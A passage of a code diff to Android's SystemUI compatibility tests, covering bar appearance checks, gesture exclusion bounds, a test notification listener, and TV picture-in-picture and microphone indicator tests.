+                activity.setLightNavigationBarAppearance(false);
+
+                // Once the client starts using the new appearance APIs, the legacy flags won't
+                // change the appearance anymore.
+                activity.setLightStatusBarLegacy(true);
+                activity.setLightNavigationBarLegacy(true);
+            });
+            Thread.sleep(WAIT_TIME);
+
+            Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
+            Stats s = evaluateDarkBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
+            assertStats(bitmap, s, false /* light */);
+        });
     }
 
     @Test
@@ -126,7 +164,7 @@
         LightBarActivity activity = mActivityRule.getActivity();
         Bitmap bitmap = takeNavigationBarScreenshot(activity);
         Stats s = evaluateLightBarBitmap(bitmap, LIGHT_BG_COLOR, activity.getBottom());
-        assertLightStats(bitmap, s);
+        assertStats(bitmap, s, true /* light */);
     }
 
     @Test
@@ -143,6 +181,33 @@
                 mTestName.getMethodName());
     }
 
+    private void runInNotificationSession(ThrowingRunnable task) throws Exception {
+        try {
+            mNm = (NotificationManager) getInstrumentation().getContext()
+                    .getSystemService(Context.NOTIFICATION_SERVICE);
+            NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                    NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
+            mNm.createNotificationChannel(channel1);
+
+            // post 10 notifications to ensure enough icons in the status bar
+            for (int i = 0; i < 10; i++) {
+                Notification.Builder noti1 = new Notification.Builder(
+                        getInstrumentation().getContext(),
+                        NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(R.drawable.ic_save)
+                        .setChannelId(NOTIFICATION_CHANNEL_ID)
+                        .setPriority(Notification.PRIORITY_LOW)
+                        .setGroup(NOTIFICATION_GROUP_KEY);
+                mNm.notify(NOTIFICATION_TAG, i, noti1.build());
+            }
+
+            task.run();
+        } finally {
+            mNm.cancelAll();
+            mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+        }
+    }
+
     private void injectCanceledTap(int x, int y) {
         long downTime = SystemClock.uptimeMillis();
         injectEvent(MotionEvent.ACTION_DOWN, x, y, downTime);
@@ -158,19 +223,22 @@
         event.recycle();
     }
 
-    private void assertLightStats(Bitmap bitmap, Stats s) {
+    private void assertStats(Bitmap bitmap, Stats s, boolean light) {
         boolean success = false;
         try {
             assumeNavigationBarChangesColor(s.backgroundPixels, s.totalPixels());
 
+            final String spec = light ? "60% black and 24% black" : "100% white and 30% white";
             assertMoreThan("Not enough pixels colored as in the spec", 0.3f,
                     (float) s.iconPixels / (float) s.foregroundPixels(),
-                    "Are the bar icons colored according to the spec "
-                            + "(60% black and 24% black)?");
+                    "Are the bar icons colored according to the spec (" + spec + ")?");
 
-            assertLessThan("Too many lighter pixels lighter than the background", 0.05f,
-                    (float) s.sameHueLightPixels / (float) s.foregroundPixels(),
-                    "Are the bar icons dark?");
+            final String unexpected = light ? "lighter" : "darker";
+            final String expected = light ? "dark" : "light";
+            final int sameHuePixels = light ? s.sameHueLightPixels : s.sameHueDarkPixels;
+            assertLessThan("Too many pixels " + unexpected + " than the background", 0.05f,
+                    (float) sameHuePixels / (float) s.foregroundPixels(),
+                    "Are the bar icons " + expected + "?");
 
             assertLessThan("Too many pixels with a changed hue", 0.05f,
                     (float) s.unexpectedHuePixels / (float) s.foregroundPixels(),
@@ -184,13 +252,13 @@
         }
     }
 
-    private void requestLightBars(final int background) throws Throwable {
+    private void requestLightBars(final int background) {
         final LightBarActivity activity = mActivityRule.getActivity();
         activity.runOnUiThread(() -> {
             activity.getWindow().setStatusBarColor(background);
             activity.getWindow().setNavigationBarColor(background);
-            activity.setLightStatusBar(true);
-            activity.setLightNavigationBar(true);
+            activity.setLightStatusBarLegacy(true);
+            activity.setLightNavigationBarLegacy(true);
         });
     }
 
@@ -220,8 +288,15 @@
     }
 
     private Stats evaluateLightBarBitmap(Bitmap bitmap, int background, int shiftY) {
-        int iconColor = 0x99000000;
-        int iconPartialColor = 0x3d000000;
+        return evaluateBarBitmap(bitmap, background, shiftY, 0x99000000, 0x3d000000);
+    }
+
+    private Stats evaluateDarkBarBitmap(Bitmap bitmap, int background, int shiftY) {
+        return evaluateBarBitmap(bitmap, background, shiftY, 0xffffffff, 0x4dffffff);
+    }
+
+    private Stats evaluateBarBitmap(Bitmap bitmap, int background, int shiftY, int iconColor,
+            int iconPartialColor) {
 
         int mixedIconColor = mixSrcOver(background, iconColor);
         int mixedIconPartialColor = mixSrcOver(background, iconPartialColor);
diff --git a/tests/tests/systemui/src/android/systemui/cts/NotificationListener.kt b/tests/tests/systemui/src/android/systemui/cts/NotificationListener.kt
new file mode 100644
index 0000000..6f5b2e5
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/NotificationListener.kt
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.systemui.cts
+
+import android.os.SystemClock
+import android.service.notification.NotificationListenerService
+import android.service.notification.StatusBarNotification
+import android.util.Log
+import com.android.compatibility.common.util.ShellUtils.runShellCommand
+
+class NotificationListener : NotificationListenerService() {
+
+    override fun onNotificationPosted(sbn: StatusBarNotification) {
+        if (DEBUG) Log.d(TAG, "onNotificationPosted: $sbn")
+    }
+
+    override fun onNotificationRemoved(sbn: StatusBarNotification) {
+        if (DEBUG) Log.d(TAG, "onNotificationRemoved: $sbn")
+    }
+
+    override fun onListenerConnected() {
+        if (DEBUG) Log.d(TAG, "onListenerConnected")
+        instance = this
+    }
+
+    override fun onListenerDisconnected() {
+        if (DEBUG) Log.d(TAG, "onListenerDisconnected")
+        instance = null
+    }
+
+    companion object {
+        private const val DEBUG = false
+        private const val TAG = "SystemUi_Cts_NotificationListener"
+
+        private const val DEFAULT_TIMEOUT = 5_000L
+        private const val DEFAULT_POLL_INTERVAL = 500L
+
+        private const val CMD_NOTIFICATION_ALLOW_LISTENER = "cmd notification allow_listener %s"
+        private const val CMD_NOTIFICATION_DISALLOW_LISTENER =
+                "cmd notification disallow_listener %s"
+        private const val COMPONENT_NAME = "android.systemui.cts/.NotificationListener"
+
+        private var instance: NotificationListener? = null
+
+        fun startNotificationListener(): Boolean {
+            if (instance != null) {
+                return true
+            }
+
+            runShellCommand(CMD_NOTIFICATION_ALLOW_LISTENER.format(COMPONENT_NAME))
+
+            return wait { instance != null }
+        }
+
+        fun stopNotificationListener(): Boolean {
+            if (instance == null) {
+                return true
+            }
+
+            runShellCommand(CMD_NOTIFICATION_DISALLOW_LISTENER.format(COMPONENT_NAME))
+            return wait { instance == null }
+        }
+
+        fun waitForNotificationToAppear(
+            predicate: (StatusBarNotification) -> Boolean
+        ): StatusBarNotification? {
+            instance?.let {
+                return waitForResult(extractor = {
+                    it.activeNotifications.firstOrNull(predicate)
+                }).second
+            } ?: throw IllegalStateException("NotificationListenerService is not connected")
+        }
+
+        fun waitForNotificationToDisappear(
+            predicate: (StatusBarNotification) -> Boolean
+        ): Boolean {
+            return instance?.let {
+                wait { it.activeNotifications.none(predicate) }
+            } ?: throw IllegalStateException("NotificationListenerService is not connected")
+        }
+
+        private fun wait(condition: () -> Boolean): Boolean {
+            val (success, _) = waitForResult(extractor = condition, validator = { it })
+            return success
+        }
+
+        private fun <R> waitForResult(
+            timeout: Long = DEFAULT_TIMEOUT,
+            interval: Long = DEFAULT_POLL_INTERVAL,
+            extractor: () -> R,
+            validator: (R) -> Boolean = { it != null }
+        ): Pair<Boolean, R?> {
+            val startTime = SystemClock.uptimeMillis()
+            do {
+                val result = extractor()
+                if (validator(result)) {
+                    return (true to result)
+                }
+                SystemClock.sleep(interval)
+            } while (SystemClock.uptimeMillis() - startTime < timeout)
+
+            return (false to null)
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
index e4c6b07..0d7ba4c 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
@@ -46,7 +46,8 @@
     private WindowInsets mContentWindowInsets;
     private WindowInsets mDecorViewWindowInsets;
     private Rect mDecorBound;
-    private Rect mContentBound;
+    private Rect mContentBoundOnScreen;
+    private Rect mContentBoundInWindow;
 
     private Consumer<Boolean> mInitialFinishCallBack;
     private int mClickCount;
@@ -124,6 +125,13 @@
         return mDecorViewWindowInsets;
     }
 
+    Rect getContentBoundOnScreen() {
+        return mContentBoundOnScreen;
+    }
+
+    Rect getContentBoundInWindow() {
+        return mContentBoundInWindow;
+    }
 
     /**
      * To catch the WindowInsets that passwd to the content view.
@@ -149,8 +157,9 @@
         super.onAttachedToWindow();
 
         mContent.post(() -> {
-            mContentBound = getViewBound(mContent);
-            mDecorBound = getViewBound(getWindow().getDecorView());
+            mContentBoundOnScreen = getViewBoundOnScreen(mContent);
+            mContentBoundInWindow = getViewBoundInWindow(mContent);
+            mDecorBound = getViewBoundOnScreen(getWindow().getDecorView());
             showInfoInTextView();
 
             if (mInitialFinishCallBack != null) {
@@ -206,7 +215,8 @@
                     + mContentWindowInsets.getMandatorySystemGestureInsets()).append("\n");
             sb.append("getTappableElementInsets = "
                     + mContentWindowInsets.getTappableElementInsets()).append("\n");
-            sb.append("content boundary = ").append(mContentBound).append("\n");
+            sb.append("content boundary on screen = ").append(mContentBoundOnScreen).append("\n");
+            sb.append("content boundary in window = ").append(mContentBoundInWindow).append("\n");
         }
 
         Display display = getDisplay();
@@ -232,19 +242,44 @@
         return mContent;
     }
 
-    Rect getViewBound(View view) {
-        int [] screenlocation = new int[2];
-        view.getLocationOnScreen(screenlocation);
-        return new Rect(screenlocation[0], screenlocation[1],
-                screenlocation[0] + view.getWidth(),
-                screenlocation[1] + view.getHeight());
+    Rect getViewBoundOnScreen(View view) {
+        int [] location = new int[2];
+        view.getLocationOnScreen(location);
+        return new Rect(location[0], location[1],
+                location[0] + view.getWidth(),
+                location[1] + view.getHeight());
+    }
+
+    Rect getViewBoundInWindow(View view) {
+        int [] location = new int[2];
+        view.getLocationInWindow(location);
+        return new Rect(location[0], location[1],
+                location[0] + view.getWidth(),
+                location[1] + view.getHeight());
+    }
+
+    @MainThread
+    public Rect getActionBounds(Insets insets, WindowInsets windowInsets) {
+        return calculateBoundsWithInsets(insets, windowInsets, mContentBoundOnScreen);
+    }
+
+    @MainThread
+    public Rect getSystemGestureExclusionBounds(Insets insets, WindowInsets windowInsets) {
+        return calculateBoundsWithInsets(insets, windowInsets, mContentBoundInWindow);
     }
 
     /**
-     * To count the draggable boundary that has consume the related insets.
+     * Calculate the bounds for performing actions(click, tap or swipe) or for setting the exclusion
+     * rect and the coordinate space of the return Rect could be the display or window coordinate
+     * space which is determined by the passed in refRect.
+     *
+     * @param insets the insets to be tested.
+     * @param windowInsets the WindowInsets that pass to the activity.
+     * @param refRect the rect which determines whether the return rect is the display or the window
+     *                coordinate space.
+     * @return the bounds for performing actions or for setting the exclusion rect.
      **/
-    @MainThread
-    public Rect getOperationArea(Insets insets, WindowInsets windowInsets) {
+    private Rect calculateBoundsWithInsets(Insets insets, WindowInsets windowInsets, Rect refRect) {
         int left = insets.left;
         int top = insets.top;
         int right = insets.right;
@@ -267,8 +302,7 @@
             }
         }
 
-        Rect windowBoundary = getViewBound(getContentView());
-        Rect rect = new Rect(windowBoundary);
+        Rect rect = new Rect(refRect);
         rect.left += left;
         rect.top += top;
         rect.right -= right;
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index 69c5cc2..b5e657c 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -106,7 +106,8 @@
     private int mDisplayWidth;
     private int mExclusionLimit;
     private UiDevice mDevice;
-    private Rect mSwipeBound;
+    // Bounds for actions like swipe and click.
+    private Rect mActionBounds;
     private String mEdgeToEdgeNavigationTitle;
     private String mSystemNavigationTitle;
     private String mGesturePreferenceTitle;
@@ -452,7 +453,7 @@
 
         int count = 0;
 
-        for (int i = theToppestLine; i < theBottomestLine; i += mDensityPerCm) {
+        for (int i = theToppestLine; i < theBottomestLine; i += mDensityPerCm * 2) {
             if (callback != null) {
                 callback.accept(new Point(theLeftestLine, i),
                         new Point(viewBoundary.centerX(), i));
@@ -477,7 +478,7 @@
         final int theBottomestLine = viewBoundary.bottom - 1;
 
         int count = 0;
-        for (int i = theToppestLine; i < theBottomestLine; i += mDensityPerCm) {
+        for (int i = theToppestLine; i < theBottomestLine; i += mDensityPerCm * 2) {
             if (callback != null) {
                 callback.accept(new Point(theRightestLine, i),
                         new Point(viewBoundary.centerX(), i));
@@ -511,7 +512,7 @@
         final int theRightestLine = viewBoundary.right - 1;
 
         int count = 0;
-        for (int i = theLeftestLine; i < theRightestLine; i += mDensityPerCm) {
+        for (int i = theLeftestLine; i < theRightestLine; i += mDensityPerCm * 2) {
             if (callback != null) {
                 callback.accept(new Point(i, theToppestLine),
                         new Point(i, viewBoundary.centerY()));
@@ -536,7 +537,7 @@
         final int theBottomestLine = viewBoundary.bottom - 1;
 
         int count = 0;
-        for (int i = theLeftestLine; i < theRightestLine; i += mDensityPerCm) {
+        for (int i = theLeftestLine; i < theRightestLine; i += mDensityPerCm * 2) {
             if (callback != null) {
                 callback.accept(new Point(i, theBottomestLine),
                         new Point(i, viewBoundary.centerY()));
@@ -578,17 +579,10 @@
     }
 
     private List<Rect> splitBoundsAccordingToExclusionLimit(Rect rect) {
-        final int exclusionHeightLimit = (int) (getPropertyOfMaxExclusionHeight() * mPixelsPerDp
-                + 0.5f);
-
+        final int exclusionHeightLimit = (int) (EXCLUSION_LIMIT_DP * mPixelsPerDp + 0.5f);
         final List<Rect> bounds = new ArrayList<>();
-        if (rect.height() < exclusionHeightLimit) {
-            bounds.add(rect);
-            return bounds;
-        }
-
         int nextTop = rect.top;
-        while (nextTop >= rect.bottom) {
+        while (nextTop < rect.bottom) {
             final int top = nextTop;
             int bottom = top + exclusionHeightLimit;
             if (bottom > rect.bottom) {
@@ -597,29 +591,38 @@
 
             bounds.add(new Rect(rect.left, top, rect.right, bottom));
 
-            nextTop += bottom;
+            nextTop = bottom;
         }
 
         return bounds;
     }
 
+    /**
+     * @throws Throwable when setting the property goes wrong.
+     */
     @Test
-    public void mandatorySystemGesture_excludeViewRects_withoutAnyCancel()
-            throws InterruptedException {
+    public void systemGesture_excludeViewRects_withoutAnyCancel()
+            throws Throwable {
         assumeTrue(hasSystemGestureFeature());
 
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mActionBounds = mActivity.getActionBounds(
+                mContentViewWindowInsets.getSystemGestureInsets(), mContentViewWindowInsets));
+        final Rect exclusionRect = new Rect();
+        mainThreadRun(() -> exclusionRect.set(mActivity.getSystemGestureExclusionBounds(
                 mContentViewWindowInsets.getMandatorySystemGestureInsets(),
-                mContentViewWindowInsets));
+                mContentViewWindowInsets)));
 
-        final List<Rect> swipeBounds = splitBoundsAccordingToExclusionLimit(mSwipeBound);
-        int swipeCount = 0;
-        for (Rect swipeBound : swipeBounds) {
-            setAndWaitForSystemGestureExclusionRectsListenerTrigger(swipeBound);
-            swipeCount += swipeInViewBoundary(swipeBound);
-        }
-
+        final int[] swipeCount = {0};
+        doInExclusionLimitSession(() -> {
+            final List<Rect> swipeBounds = splitBoundsAccordingToExclusionLimit(mActionBounds);
+            final List<Rect> exclusionRects = splitBoundsAccordingToExclusionLimit(exclusionRect);
+            final int size = swipeBounds.size();
+            for (int i = 0; i < size; i++) {
+                setAndWaitForSystemGestureExclusionRectsListenerTrigger(exclusionRects.get(i));
+                swipeCount[0] += swipeInViewBoundary(swipeBounds.get(i));
+            }
+        });
         mainThreadRun(() -> {
             mActionDownPoints = mActivity.getActionDownPoints();
             mActionUpPoints = mActivity.getActionUpPoints();
@@ -628,8 +631,8 @@
         mScreenshotTestRule.capture();
 
         assertEquals(0, mActionCancelPoints.size());
-        assertEquals(swipeCount, mActionUpPoints.size());
-        assertEquals(swipeCount, mActionDownPoints.size());
+        assertEquals(swipeCount[0], mActionUpPoints.size());
+        assertEquals(swipeCount[0], mActionDownPoints.size());
     }
 
     @Test
@@ -638,14 +641,9 @@
 
         mainThreadRun(() -> mActivity.setSystemGestureExclusion(null));
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mActionBounds = mActivity.getActionBounds(
                 mContentViewWindowInsets.getSystemGestureInsets(), mContentViewWindowInsets));
-
-        final List<Rect> swipeBounds = splitBoundsAccordingToExclusionLimit(mSwipeBound);
-        int swipeCount = 0;
-        for (Rect swipeBound : swipeBounds) {
-            swipeCount += swipeInViewBoundary(swipeBound);
-        }
+        final int swipeCount = swipeInViewBoundary(mActionBounds);
 
         mainThreadRun(() -> {
             mActionDownPoints = mActivity.getActionDownPoints();
@@ -663,12 +661,11 @@
     public void tappableElements_tapSamplePoints_excludeViewRects_withoutAnyCancel()
             throws InterruptedException {
         assumeTrue(hasSystemGestureFeature());
-
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mActionBounds = mActivity.getActionBounds(
                 mContentViewWindowInsets.getTappableElementInsets(), mContentViewWindowInsets));
 
-        final int count = clickAllOfSamplePoints(mSwipeBound, this::clickAndWaitByUiDevice);
+        final int count = clickAllOfSamplePoints(mActionBounds, this::clickAndWaitByUiDevice);
 
         mainThreadRun(() -> {
             mClickCount = mActivity.getClickCount();
@@ -687,10 +684,10 @@
 
         mainThreadRun(() -> mActivity.setSystemGestureExclusion(null));
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mActionBounds = mActivity.getActionBounds(
                 mContentViewWindowInsets.getTappableElementInsets(), mContentViewWindowInsets));
 
-        final int count = clickAllOfSamplePoints(mSwipeBound, this::clickAndWaitByUiDevice);
+        final int count = clickAllOfSamplePoints(mActionBounds, this::clickAndWaitByUiDevice);
 
         mainThreadRun(() -> {
             mClickCount = mActivity.getClickCount();
@@ -772,7 +769,7 @@
             final Rect swipeBounds = new Rect();
             mainThreadRun(() -> {
                 final View rootView = mActivity.getWindow().getDecorView();
-                swipeBounds.set(mActivity.getViewBound(rootView));
+                swipeBounds.set(mActivity.getViewBoundOnScreen(rootView));
             });
             // The limit is consumed from bottom to top.
             final int swipeY = swipeBounds.bottom - mExclusionLimit + shiftY;
@@ -859,7 +856,14 @@
         assertTrue("Exclusion must be applied.", exclusionApplied.await(3, SECONDS));
     }
 
-    private static int getPropertyOfMaxExclusionHeight() {
+    /**
+     * Run the given task while the system gesture exclusion limit has been changed to
+     * {@link #EXCLUSION_LIMIT_DP}, and then restore the value while the task is finished.
+     *
+     * @param task the task to be run.
+     * @throws Throwable when something goes unexpectedly.
+     */
+    private static void doInExclusionLimitSession(ThrowingRunnable task) throws Throwable {
         final int[] originalLimitDp = new int[1];
         SystemUtil.runWithShellPermissionIdentity(() -> {
             originalLimitDp[0] = DeviceConfig.getInt(NAMESPACE_ANDROID,
@@ -870,18 +874,6 @@
                     Integer.toString(EXCLUSION_LIMIT_DP), false /* makeDefault */);
         });
 
-        return originalLimitDp[0];
-    }
-
-    /**
-     * Run the given task while the system gesture exclusion limit has been changed to
-     * {@link #EXCLUSION_LIMIT_DP}, and then restore the value while the task is finished.
-     *
-     * @param task the task to be run.
-     * @throws Throwable when something goes unexpectedly.
-     */
-    private static void doInExclusionLimitSession(ThrowingRunnable task) throws Throwable {
-        int originalLimitDp = getPropertyOfMaxExclusionHeight();
         try {
             task.run();
         } finally {
@@ -889,7 +881,7 @@
             SystemUtil.runWithShellPermissionIdentity(() -> DeviceConfig.setProperty(
                     NAMESPACE_ANDROID,
                     KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP,
-                    (originalLimitDp != -1) ? Integer.toString(originalLimitDp) : null,
+                    (originalLimitDp[0] != -1) ? Integer.toString(originalLimitDp[0]) : null,
                     false /* makeDefault */));
         }
     }
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt b/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
new file mode 100644
index 0000000..82be3e2
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemui.cts.tv
+
+import android.Manifest.permission.READ_DREAM_STATE
+import android.Manifest.permission.WRITE_DREAM_STATE
+import android.app.WindowConfiguration
+import android.content.pm.PackageManager
+import android.os.ServiceManager
+import android.platform.test.annotations.Postsubmit
+import android.server.wm.Condition
+import android.server.wm.WindowManagerState
+import android.server.wm.annotation.Group2
+import android.service.dreams.DreamService
+import android.service.dreams.IDreamManager
+import android.systemui.tv.cts.Components.PIP_ACTIVITY
+import android.systemui.tv.cts.Components.windowName
+import android.systemui.tv.cts.PipActivity
+import android.systemui.tv.cts.PipActivity.ACTION_ENTER_PIP
+import androidx.annotation.CallSuper
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import com.android.compatibility.common.util.SystemUtil
+import com.android.compatibility.common.util.ThrowingSupplier
+import org.junit.Assume
+import org.junit.Test
+import org.junit.runner.RunWith
+import kotlin.test.assertTrue
+
+/**
+ * Tests most basic picture in picture (PiP) behavior.
+ *
+ * Build/Install/Run:
+ * atest CtsSystemUiTestCases:BasicPipTests
+ */
+@Postsubmit
+@Group2
+@RunWith(AndroidJUnit4::class)
+class BasicPipTests : TvTestBase() {
+    private val isPipSupported: Boolean
+        get() = packageManager.hasSystemFeature(PackageManager.FEATURE_PICTURE_IN_PICTURE)
+
+    @CallSuper
+    override fun onSetUp() {
+        Assume.assumeTrue(isPipSupported)
+    }
+
+    override fun onTearDown() {
+        stopPackage(PIP_ACTIVITY.packageName)
+    }
+
+    /** Open an app in pip mode and ensure it has a window but is not focused. */
+    @Test
+    fun openPip_launchedNotFocused() {
+        launchActivity(PIP_ACTIVITY, ACTION_ENTER_PIP)
+        waitForEnterPip()
+
+        assertLaunchedNotFocused()
+    }
+
+    /** Ensure an app can be launched into pip mode from the screensaver state. */
+    @Test
+    fun openPip_afterScreenSaver() {
+        runWithDreamManager { dreamManager ->
+            dreamManager.dream()
+            dreamManager.waitForDream()
+        }
+
+        // Launch pip activity that is supposed to wake up the device
+        launchActivity(
+            activity = PIP_ACTIVITY,
+            action = ACTION_ENTER_PIP,
+            boolExtras = mapOf(PipActivity.EXTRA_TURN_ON_SCREEN to true)
+        )
+        waitForEnterPip()
+
+        assertLaunchedNotFocused()
+        assertTrue("Device must be awake") {
+            runWithDreamManager { dreamManager ->
+                !dreamManager.isDreaming
+            }
+        }
+    }
+
+    /** Ensure an app in pip mode remains open throughout the device dreaming and waking. */
+    @Test
+    fun pipApp_remainsOpen_afterScreensaver() {
+        launchActivity(PIP_ACTIVITY, ACTION_ENTER_PIP)
+        waitForEnterPip()
+
+        runWithDreamManager { dreamManager ->
+            dreamManager.dream()
+            dreamManager.waitForDream()
+            dreamManager.awaken()
+            dreamManager.waitForAwake()
+        }
+
+        assertLaunchedNotFocused()
+    }
+
+    private fun assertLaunchedNotFocused() {
+        wmState.assertActivityDisplayed(PIP_ACTIVITY)
+        wmState.assertNotFocusedWindow("PiP Window must not be focused!",
+            PIP_ACTIVITY.windowName())
+    }
+
+    /** Run the given actions on a dream manager, acquiring appropriate permissions.  */
+    private fun <T> runWithDreamManager(actions: (IDreamManager) -> T): T {
+        val dreamManager: IDreamManager = IDreamManager.Stub.asInterface(
+            ServiceManager.getServiceOrThrow(DreamService.DREAM_SERVICE))
+
+        return SystemUtil.runWithShellPermissionIdentity(ThrowingSupplier {
+            actions(dreamManager)
+        }, READ_DREAM_STATE, WRITE_DREAM_STATE)
+    }
+
+    /** Wait for the device to enter dream state. Throw on timeout. */
+    private fun IDreamManager.waitForDream() {
+        val message = "Device must be dreaming!"
+        Condition.waitFor(message) {
+            isDreaming
+        } || error(message)
+    }
+
+    /** Wait for the device to awaken. Throw on timeout. */
+    private fun IDreamManager.waitForAwake() {
+        val message = "Device must be awake!"
+        Condition.waitFor(message) {
+            !isDreaming
+        } || error(message)
+    }
+
+    /** Waits until the pip animation has finished and the app is fully in pip mode. */
+    private fun waitForEnterPip() {
+        wmState.waitForWithAmState("checking task windowing mode") { state: WindowManagerState ->
+            state.getTaskByActivity(PIP_ACTIVITY)?.let { task ->
+                task.windowingMode == WindowConfiguration.WINDOWING_MODE_PINNED
+            } ?: false
+        } || error("Task ${PIP_ACTIVITY.flattenToShortString()} is not found or not pinned!")
+
+        wmState.waitForWithAmState("checking activity windowing mode") {
+            state: WindowManagerState ->
+            state.getTaskByActivity(PIP_ACTIVITY)?.getActivity(PIP_ACTIVITY)?.let { activity ->
+                activity.windowingMode == WindowConfiguration.WINDOWING_MODE_PINNED &&
+                    activity.state == WindowManagerState.STATE_PAUSED
+            } ?: false
+        } || error("Activity ${PIP_ACTIVITY.flattenToShortString()} is not found," +
+            " not pinned or not paused!")
+    }
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/MicIndicatorTest.kt b/tests/tests/systemui/src/android/systemui/cts/tv/MicIndicatorTest.kt
new file mode 100644
index 0000000..92f7f2b
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/MicIndicatorTest.kt
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemui.cts.tv
+
+import android.content.ComponentName
+import android.platform.test.annotations.AppModeFull
+import android.platform.test.annotations.Postsubmit
+import android.server.wm.annotation.Group2
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import org.junit.Test
+import org.junit.runner.RunWith
+
+/**
+ * Tests microphone indicator.
+ *
+ * Build/Install/Run:
+ * atest CtsSystemUiTestCases:MicIndicatorTest
+ */
+@Postsubmit
+@Group2
+@RunWith(AndroidJUnit4::class)
+@AppModeFull
+class MicIndicatorTest : TvTestBase() {
+    companion object {
+        private val AUDIO_RECORD_API_SERVICE = ComponentName.createRelative(
+                "android.systemui.cts.audiorecorder.audiorecord", ".AudioRecorderService")
+        private val MEDIA_RECORDER_API_SERVICE = ComponentName.createRelative(
+                "android.systemui.cts.audiorecorder.mediarecorder", ".AudioRecorderService")
+
+        private const val ACTION_THROW = "android.systemui.cts.audiorecorder.ACTION_THROW"
+        private const val ACTION_STOP = "android.systemui.cts.audiorecorder.ACTION_STOP"
+        private const val ACTION_START = "android.systemui.cts.audiorecorder.ACTION_START"
+
+        private const val MIC_INDICATOR_WINDOW_TITLE = "MicrophoneCaptureIndicator"
+    }
+
+    override fun onSetUp() {
+        assertIndicatorWindowGone()
+    }
+
+    override fun onTearDown() {
+        stopPackage(AUDIO_RECORD_API_SERVICE.packageName)
+        stopPackage(MEDIA_RECORDER_API_SERVICE.packageName)
+    }
+
+    @Test
+    fun micIndicator_shown_whileRecordingUsing_AudioRecordApi() {
+        startForegroundService(AUDIO_RECORD_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        startForegroundService(AUDIO_RECORD_API_SERVICE, ACTION_STOP)
+        assertIndicatorWindowGone()
+    }
+
+    @Test
+    fun micIndicator_shown_whileRecordingUsing_MediaRecorderApi() {
+        startForegroundService(MEDIA_RECORDER_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        startForegroundService(MEDIA_RECORDER_API_SERVICE, ACTION_STOP)
+        assertIndicatorWindowGone()
+    }
+
+    @Test
+    fun micIndicator_shown_whileRecordingUsing_AudioRecordApi_until_forceStopped() {
+        startForegroundService(AUDIO_RECORD_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        stopPackage(AUDIO_RECORD_API_SERVICE.packageName)
+        assertIndicatorWindowGone()
+    }
+
+    @Test
+    fun micIndicator_shown_whileRecordingUsing_MediaRecorderApi_until_forceStopped() {
